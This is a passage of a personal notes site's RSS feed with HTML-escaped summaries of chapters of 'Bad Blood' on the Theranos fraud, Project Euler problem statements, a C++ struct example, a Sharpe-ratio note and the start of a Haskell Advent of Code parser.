&lt;p&gt;The Sharpe Ratio: (excess return over the risk-free rate) / (risk of the strategy). The risk-free rate is usually the return from a 3-month treasury bill. Higher Sharpe Ratios are better.&lt;/p&gt;
&lt;p&gt;Smart beta argues that pure indexing (weighting by market cap) is not optimal. The portfolio should be tilted in some direction.&lt;/p&gt;</description></item><item><title>11. Lighting a Fuisz</title><link>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/11-lighting-a-fuisz/</link><pubDate>Mon, 21 May 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/11-lighting-a-fuisz/</guid><description>&lt;p&gt;Elizabeth sued Richard Fuisz claiming he used Joe &amp;amp; John Fuisz to steal confidential information at McDermott Will &amp;amp; Emery, in order to build the rival patent. Note that John thought his father, Richard, was overbearing.&lt;/p&gt;
&lt;p&gt;David Boies was legendary: antitrust against MSFT, Al Gore on contested 2000 election, overturning ban on gay marriage in CA. He also intimidated opponents with private investigators.&lt;/p&gt;
&lt;p&gt;There was paranoia that Quest Diagnostics and Laboratory Corporation of America were thirsty for Theranos&amp;rsquo;s blood. They suspected Richard was in league with Quest and LabCorp.&lt;/p&gt;</description></item><item><title>12. Ian Gibbons</title><link>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/12-ian-gibbons/</link><pubDate>Mon, 21 May 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/12-ian-gibbons/</guid><description>&lt;p&gt;Ian&amp;rsquo;s specialty was immunoassays. His contentions: the devices fell short of the lab bench&amp;rsquo;s accuracy; there was little communication between groups; Elizabeth&amp;rsquo;s dishonesty about Theranos&amp;rsquo; capbilities.&lt;/p&gt;
&lt;p&gt;Ian confided in Channing Robertson, who parroted to Elizabeth, who fired Ian.&lt;/p&gt;
&lt;p&gt;But his colleagues lobbied him back in. He was in a demoted position though. Paul, previous mentee turned manager, was more compromising with the engineers.&lt;/p&gt;
&lt;p&gt;&lt;a id="holmes-false-authorship-of-patents"&gt;&lt;/a&gt;Ian was dismayed that Elizabeth&amp;rsquo;s name was usually in 1st place on patents despite negligible scientific contribution. Rochelle, his wife, noted that this was potential reason for patents to be invalidated.&lt;/p&gt;</description></item><item><title>13. Chiat\Day</title><link>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/13-chiat-day/</link><pubDate>Mon, 21 May 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/13-chiat-day/</guid><description>&lt;p&gt;Chiat\Day was the agency that Apple had used. Therefore, Theranos would too.&lt;/p&gt;
&lt;p&gt;Patrick (Chiat\Day) was enamored by Elizabeth&amp;rsquo;s mission. The website models featured all demographics. Elizabeth scheduled Wednesday meetings because that&amp;rsquo;s how Apple did it.&lt;/p&gt;
&lt;p&gt;Stan Fiorito (Chiat\Day) was more circumspect. Sunny&amp;rsquo;s sales targets had measly research. How were they affording $6m/year retainer?&lt;/p&gt;
&lt;p&gt;Elizabeth claimed Theranos was saving soldiers&amp;rsquo; lives in Afghanistan. She wanted bold claims:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;800 tests on a drop of blood&lt;/li&gt;
&lt;li&gt;More accurate than traditional lab testing&lt;/li&gt;
&lt;li&gt;Tests ready in &amp;lt; 30min&lt;/li&gt;
&lt;li&gt;Tests approved by the FDA and endorsed by key medical centers.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Theranos: 93% of lab mistakes are due to human error. Automating the testing process thus makes us more accurate than other labs.&lt;/p&gt;</description></item><item><title>Privacy [COS 432]</title><link>https://www.curiosities.dev/computer-science/cos432-information-security/14-privacy/_meta/</link><pubDate>Tue, 22 Jan 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/cos432-information-security/14-privacy/_meta/</guid><description/></item><item><title>14. Going Live</title><link>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/14-going-live/</link><pubDate>Mon, 21 May 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/14-going-live/</guid><description>&lt;p&gt;Theranos&amp;rsquo;s Lab was divided into two. The upstairs one, CLIA-certified, was full of commercial diagnostic equipment. The downstairs one had Theranos&amp;rsquo;s tech.&lt;/p&gt;
&lt;p&gt;2.5 years of the miniLab&amp;rsquo;s development. But it was still a work in progress. In medical device standards, 3 years is a short time.&lt;/p&gt;
&lt;p&gt;Sycophants were promoted. Many employees were on H1-B, so they needed Theranos&amp;rsquo;s employment.&lt;/p&gt;
&lt;p&gt;After LTC Shoemaker, Elizabeth scrapped the remote diagnostics. The samples were to be couriered to Palo Alto. Still, Elizabeth insisted that the 4S be a sleek small (consumer) device.&lt;/p&gt;</description></item><item><title>15. Unicorn</title><link>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/15-unicorn/</link><pubDate>Mon, 21 May 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/15-unicorn/</guid><description>&lt;p&gt;Elizabeth used Shultz&amp;rsquo;s connections to get a WSJ Weekend Interview to coincide with the launch. The interview was a friendly setting, with a pro-business &amp;amp; anti-regulation ethos.&lt;/p&gt;
&lt;p&gt;Theranos was about to launch. Its devices were being used by the military too. Elizabeth offered Don Lucas a discount investment opportunity - $15m at a $6b valuation; 7 years ago, Theranos was valued at $40m.&lt;/p&gt;
&lt;p&gt;Uber had raised $361m at $3.5b. Spotify raised $250m at $4b. Theranos would eclipse them.&lt;/p&gt;</description></item><item><title>16. The Grandson</title><link>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/16-the-grandson/</link><pubDate>Mon, 21 May 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/16-the-grandson/</guid><description>&lt;p&gt;The Edison&amp;rsquo;s innards were mostly a pipette fastened to a robotic arm. But it had a [buggy] touchscreen interface, so&amp;hellip;&lt;/p&gt;
&lt;p&gt;A test is considered precise if its coefficient of variation (CV) is below 10%. Data runs that failed to meet the threshold were discarded. Of six values, Theranos only reported the median to the patient.&lt;/p&gt;
&lt;p&gt;Theranos also argued that proficiency testing results were assessed by comparing them to its peers&amp;rsquo; results. But Theranos&amp;rsquo;s tech was unique and therefore had no peer group.&lt;/p&gt;</description></item><item><title>17. Fame</title><link>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/17-the-fame/</link><pubDate>Mon, 21 May 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/17-the-fame/</guid><description>&lt;p&gt;Richard and Joe Fuisz were tired and battered. They had already spent $2m+ on their defense. What if they lost and were made to cover Theranos&amp;rsquo;s legal expenses?&lt;/p&gt;
&lt;p&gt;Richard agreed to withdraw patent in exchange for Theranos withdrawing its suit. The Fuiszes had lost. But Joe demanded a public apology from Theranos.&lt;/p&gt;
&lt;p&gt;Roger Parloff, Fortune Magazine&amp;rsquo;s legal correspondent saw the settlement in Litigation Daily. After speaking to Shultz, Perry, Kissinger, Nunn, Mattis and the 2 new directors: Kovacevich (former Wells Fargo CEO) and Frist (former Senate majority leader), came the June 2014 cover story that catapulted Elizabeth to fame: This CEO Is Out for Blood. Elizabeth being $5b+ was first disclosed here.&lt;/p&gt;</description></item><item><title>18. The Hippocratic Oath</title><link>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/18-the-hippocratic-oath/</link><pubDate>Mon, 21 May 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/18-the-hippocratic-oath/</guid><description>&lt;p&gt;Alan talked Elizabeth and Sunny out of running HIV tests on diluted finger-stick samples - unreliable potassium and cholesterol results were bad enough.&lt;/p&gt;
&lt;p&gt;Alan was tired of convincing physicians that blood test results were sound and accurate. He chose to resign and asked his name be taken off the lab&amp;rsquo;s CLIA license. Alan got served with an affidavit.&lt;/p&gt;
&lt;p&gt;How could Alan go against the most fabled SV unicorn? The litigation would bankrupt him. Alan&amp;rsquo;s lawyer advised him to erase his emails.&lt;/p&gt;</description></item><item><title>019. Counting Sundays</title><link>https://www.curiosities.dev/computer-science/programming-challenges/project_euler/counting_sundays/019-counting-sundays/</link><pubDate>Fri, 07 Jan 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/project_euler/counting_sundays/019-counting-sundays/</guid><description>&lt;h2 id="problem-statement"&gt;Problem Statement &lt;span class="citation-ref"&gt;&lt;a href="#ProjectEuler019"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;You are given the following information, but you may prefer to do some
research for yourself:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;1 Jan 1900 was a Monday.&lt;/li&gt;
&lt;li&gt;Thirty days has September,&lt;br/&gt; April, June and November.&lt;br/&gt; All the
rest have thirty-one,&lt;br/&gt; Saving February alone,&lt;br/&gt; Which has
twenty-eight, rain or shine.&lt;br/&gt; And on leap years, twenty-nine.&lt;/li&gt;
&lt;li&gt;A leap year occurs on any year evenly divisible by 4, but not on a
century unless it is divisible by 400.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;How many Sundays fell on the first of the month during the twentieth
century (1 Jan 1901 to 31 Dec 2000)?&lt;/p&gt;</description></item><item><title>19. The Tip</title><link>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/19-the-tip/</link><pubDate>Mon, 21 May 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/19-the-tip/</guid><description>&lt;p&gt;Alan retrieved the proficiency testing email chain through a whistleblower law firm. He forwarded the thread to Carreyrou. The thread showed Sunny admonishing Alan &amp;amp; Mark for running proficiency tests on the Edison and admitting that the device had &amp;ldquo;failed&amp;rdquo; the test. Elizabeth was copied on most of the emails.&lt;/p&gt;
&lt;p&gt;Carreyrou tracked Carmen Washington, who had complained about Theranos&amp;rsquo;s blood tests in Walgreens. 3 of her patients had received questionable test results.&lt;/p&gt;</description></item><item><title>Structures in C++</title><link>https://www.curiosities.dev/computer-science/programming-challenges/language-concepts/type-systems/user-defined-types/structures-in-cpp/</link><pubDate>Sat, 04 Jun 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/language-concepts/type-systems/user-defined-types/structures-in-cpp/</guid><description>&lt;p&gt;A &lt;strong&gt;struct&lt;/strong&gt; helps us organize the elements that a type needs into a
data structure, e.g.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;struct&lt;/span&gt; &lt;span style="color:#75af00"&gt;Vector&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;int&lt;/span&gt; &lt;span style="color:#111"&gt;sz&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt; &lt;span style="color:#75715e"&gt;// number of elements
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;double&lt;/span&gt;&lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#111"&gt;elem&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt; &lt;span style="color:#75715e"&gt;// pointer to elements on the free store
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;void&lt;/span&gt; &lt;span style="color:#75af00"&gt;vector_init&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;Vector&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;amp;&lt;/span&gt; &lt;span style="color:#111"&gt;v&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;int&lt;/span&gt; &lt;span style="color:#111"&gt;s&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;v&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;elem&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;new&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;double&lt;/span&gt;&lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#111"&gt;s&lt;/span&gt;&lt;span style="color:#111"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;v&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;sz&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;s&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#Stroustrup2018-Ch2"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;However, notice that a user of &lt;code&gt;Vector&lt;/code&gt; has to know every detail of a
&lt;code&gt;Vector&lt;/code&gt;&amp;rsquo;s representation. We can improve on this. &lt;span class="citation-ref"&gt;&lt;a href="#Stroustrup2018-Ch2"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;There is no fundamental difference between a &lt;code&gt;struct&lt;/code&gt; and a &lt;code&gt;class&lt;/code&gt;; a
&lt;code&gt;struct&lt;/code&gt; is simply a &lt;code&gt;class&lt;/code&gt; with members public by default. &lt;span class="citation-ref"&gt;&lt;a href="#Stroustrup2018-Ch2"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>020. Factorial Digit Sum</title><link>https://www.curiosities.dev/computer-science/programming-challenges/project_euler/factorial_digit_sum/020-factorial-digit-sum/</link><pubDate>Sat, 15 Jan 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/project_euler/factorial_digit_sum/020-factorial-digit-sum/</guid><description>&lt;h2 id="problem-statement"&gt;Problem Statement &lt;span class="citation-ref"&gt;&lt;a href="#ProjectEuler020"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;\(n!\) means \(n \times (n - 1) \times &amp;hellip; \times 3 \times 2 \times
1\).&lt;/p&gt;
&lt;p&gt;For example, \(10! = 10 \times 9 \times &amp;hellip; \times 3 \times 2 \times 1
= 3628800\), and the sum of the digits in the number \(10!\) is \(3
+ 6 + 2 + 8 + 8 + 0 + 0 = 27\).&lt;/p&gt;
&lt;p&gt;Find the sum of the digits in the number \(100!\)&lt;/p&gt;</description></item><item><title>20. The Ambush</title><link>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/20-the-ambush/</link><pubDate>Mon, 21 May 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/20-the-ambush/</guid><description>&lt;p&gt;Charlotte: I doubt if Theranos&amp;rsquo;s &amp;lsquo;box&amp;rsquo; is real. Henry [Kissinger] doubts too and he&amp;rsquo;s been saying he wants out.&lt;/p&gt;
&lt;p&gt;Tyler got served with an affidavit stating that he&amp;rsquo;d never spoken to any third parties about Theranos and that he&amp;rsquo;d give names of [ex]employees who he knew had talked to WSJ.&lt;/p&gt;
&lt;p&gt;George: Tyler isn&amp;rsquo;t a snitch. Finding out who spoke to WSJ is Theranos&amp;rsquo;s problem.&lt;/p&gt;
&lt;p&gt;Tyler declined to name WSJ&amp;rsquo;s other sources. Theranos declined to include his parents and heirs in the litigation release. Tyler&amp;rsquo;s parents were afraid of having to sell the house to cover for legal costs.&lt;/p&gt;</description></item><item><title>021. Amicable Numbers</title><link>https://www.curiosities.dev/computer-science/programming-challenges/project_euler/amicable_numbers/021-amicable-numbers/</link><pubDate>Sat, 06 Feb 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/project_euler/amicable_numbers/021-amicable-numbers/</guid><description>&lt;h2 id="problem-statement"&gt;Problem Statement &lt;span class="citation-ref"&gt;&lt;a href="#ProjectEuler021"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;Let \(d(n)\) be defined as the sum of proper divisors of \(n\) (numbers less
than \(n\) which divide evenly into \(n\)).&lt;/p&gt;
&lt;p&gt;If \(d(a) = b\) and \(d(b) = a\), where \(a \neq b\), then \(a\) and
\(b\) are an amicable pair and each of \(a\) and \(b\) are called amicable
numbers.&lt;/p&gt;
&lt;p&gt;For example, the proper divisors of \(220\) are \(1, 2, 4, 5, 10, 11, 20, 22,
44, 55, 110\); therefore \(d(220) = 284\). The proper divisors of \(284\)
are \(1, 2, 4, 71, 142\); so \(d(284) = 220\).&lt;/p&gt;</description></item><item><title>21. Trade Secrets</title><link>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/21-trade-secrets/</link><pubDate>Mon, 21 May 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/21-trade-secrets/</guid><description>&lt;h2 id="carreyrou--wsj-vs-boies-schiller"&gt;Carreyrou &amp;amp; WSJ vs. Boies Schiller&lt;/h2&gt;
&lt;p&gt;The Boies Schiller delegation was led by David Boies himself!&lt;/p&gt;
&lt;p&gt;Admissions: Ownership of commercial blood analyzers; problematic potassium test was a known issue, and no faulty results had been released to patients.&lt;/p&gt;
&lt;p&gt;Siemens ADVIA? Special dilution on ADVIA? Number of tests done by the Edison? Trade secret!&lt;/p&gt;
&lt;h2 id="boies-schiller-and-witnesses"&gt;Boies Schiller and witnesses&lt;/h2&gt;
&lt;p&gt;Tyler was young and unqualified; disgruntled ex-employees are unreliable.&lt;/p&gt;
&lt;p&gt;BS summoned Erika to an interview, lest she be litigated against.&lt;/p&gt;</description></item><item><title>022. Name Scores</title><link>https://www.curiosities.dev/computer-science/programming-challenges/project_euler/name_scores/022-name-scores/</link><pubDate>Fri, 18 Feb 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/project_euler/name_scores/022-name-scores/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='ProjectEuler022'&gt;
 
 #22 Names scores - Project Euler&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 
 
 
 
 
 &lt;a href="https://projecteuler.net/problem=22" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=projecteuler.net" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;projecteuler.net&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Feb 18, 2022.
 
 
&lt;/div&gt;

&lt;h2 id="problem-statement"&gt;Problem Statement&lt;/h2&gt;
&lt;p&gt;Using &lt;code&gt;names.txt&lt;/code&gt;, a 46K text file containing over 5,000 first names,
begin by sorting it into alphabetical order. Then working out the
alphabetical value for each name, multiply this value by its
alphabetical position in the list to obtain a name score.&lt;/p&gt;
&lt;p&gt;For example, when the list is sorted into alphabetical order, COLIN,
which is worth \(3 + 15 + 12 + 9 + 14 = 53\), is the 938th name in the
list. So COLIN would obtain a score of \(938 \times 53 = 49{,}714\).&lt;/p&gt;</description></item><item><title>22. La Mattanza</title><link>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/22-la-mattanza/</link><pubDate>Mon, 21 May 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/22-la-mattanza/</guid><description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;La Mattanza&lt;/strong&gt;: An ancient Silician ritual in which fisherman waded into the
Mediterranean Sea up to their waist with clubs and spears and then stood still
for hours on end until the [bluefin tuna] no longer noticed their presence.
Eventually, when enough [tuna] had gathered around them, someone gave and
imperceptible signal and in a split second the scene went from preternatural
quiet to gory bloodbath as the fishermen struck viciously at their
unsuspecting quarry.&lt;/p&gt;</description></item><item><title>023. Non-Abundant Sums</title><link>https://www.curiosities.dev/computer-science/programming-challenges/project_euler/non_abundant_sums/023-non-abundant-sums/</link><pubDate>Sun, 19 Feb 2023 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/project_euler/non_abundant_sums/023-non-abundant-sums/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='ProjectEuler023'&gt;
 
 #23 Non-abundant sums - Project Euler&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 
 
 
 
 
 &lt;a href="https://projecteuler.net/problem=23" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=projecteuler.net" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;projecteuler.net&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Feb 19, 2023.
 
 
&lt;/div&gt;

&lt;h2 id="problem-statement"&gt;Problem Statement&lt;/h2&gt;
&lt;p&gt;A &lt;strong&gt;perfect number&lt;/strong&gt; is a number for which the sum of its proper
divisors is exactly equal to the number. For example, the sum of the
proper divisors of \(28\) would be \(1 + 2 + 4 + 7 + 14 = 28\),
which means that \(28\) is a perfect number.&lt;/p&gt;</description></item><item><title>23. Damage Control</title><link>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/23-damage-control/</link><pubDate>Mon, 21 May 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/23-damage-control/</guid><description>&lt;p&gt;Rupert Murdoch led the most recent $430m funding round with $125m. He followed his gut: he&amp;rsquo;d invested $150k in Uber for it to become $50m.&lt;/p&gt;
&lt;p&gt;The investment packket forecasted (profit revenue) of ($330m, $1b) in 2015 and ($505m, $2b) in 2016. Furthermore, Theranos had lined up Cox Enterprises, The Waltons, New England Patriots owner, Carlos Slim, controller of Fiat Chrysler.&lt;/p&gt;
&lt;p&gt;Elizabeth brought up Carreyrou&amp;rsquo;s story to Murdoch, but Murdoch declined to intervene - saying he trusted the paper&amp;rsquo;s editors to handle the matter fairly.&lt;/p&gt;</description></item><item><title>24. The Empress Has No Clothes</title><link>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/24-the-empress-has-no-clothes/</link><pubDate>Mon, 21 May 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/24-the-empress-has-no-clothes/</guid><description>&lt;p&gt;[3 weeks before first article] Erika Cheung&amp;rsquo;s email to Gary Yamamoto (CMS) spurred the surprise inspection on Theranos&amp;rsquo;s labs in less than 3 days. They found so many problems and missing documentation that they planned to return. When they returned, WSJ&amp;rsquo;s article was out and there was pressure. CMS released a letter calling Theranos an &amp;ldquo;immediate jeopardy to patient health and safety&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;Theranos claimed to have fixed many of the deficiencies, and that the problems had no bearing on the soundness of its proprietary tech. Theranos invoked trade secrets to keep the report confidential.&lt;/p&gt;</description></item><item><title>Epilogue</title><link>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/25-epilogue/</link><pubDate>Mon, 21 May 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/25-epilogue/</guid><description>&lt;p&gt;March 14, 2018: SEC charges Theranos, Homes and Balwani with conducting &amp;ldquo;an elaborate, years-long fraud&amp;rdquo;. To resolve SEC&amp;rsquo;s civil charges, Elizabeth was forced to relinquish her voting control, give back a big chunk of stock, pay a $500k penalty and not be an officer/director in a public company for 10 years.&lt;/p&gt;
&lt;p&gt;Sunny didn&amp;rsquo;t join Theranos until late 2009. Elizabeth had already been misleading pharmaceutical companies for years about the readiness of her tech.&lt;/p&gt;</description></item><item><title>AoC 2021 Input Parser</title><link>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2021/src/AoC2021InputParser/</link><pubDate>Mon, 07 Mar 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2021/src/AoC2021InputParser/</guid><description>&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-hs" data-lang="hs"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;{-# OPTIONS_GHC -Wall #-}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- {-# LANGUAGE FlexibleContexts #-}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- The `(..)` syntax represents all of the constructors for the data type. [1]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- Without that export, we can pattern-match in BinaryDiagnostic.hs because we&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- run into a &amp;#34;Not in scope: data constructor ‘BinaryDiagnostics’&amp;#34; error.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;--&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- [1]: https://stackoverflow.com/a/34548070/7812406&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;module&lt;/span&gt; &lt;span style="color:#111"&gt;AoC2021InputParser&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt; &lt;span style="color:#75af00"&gt;parseBinaryDiagnosticInput&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75af00"&gt;parseBingoInput&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75af00"&gt;parseHydrothermalVents&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75af00"&gt;parseLanternfishInternalTimers&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75af00"&gt;parseHorizontalCrabPositions&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75af00"&gt;parseSevenSegmentsDisplay&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75af00"&gt;parseHeightMap&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;where&lt;/span&gt;
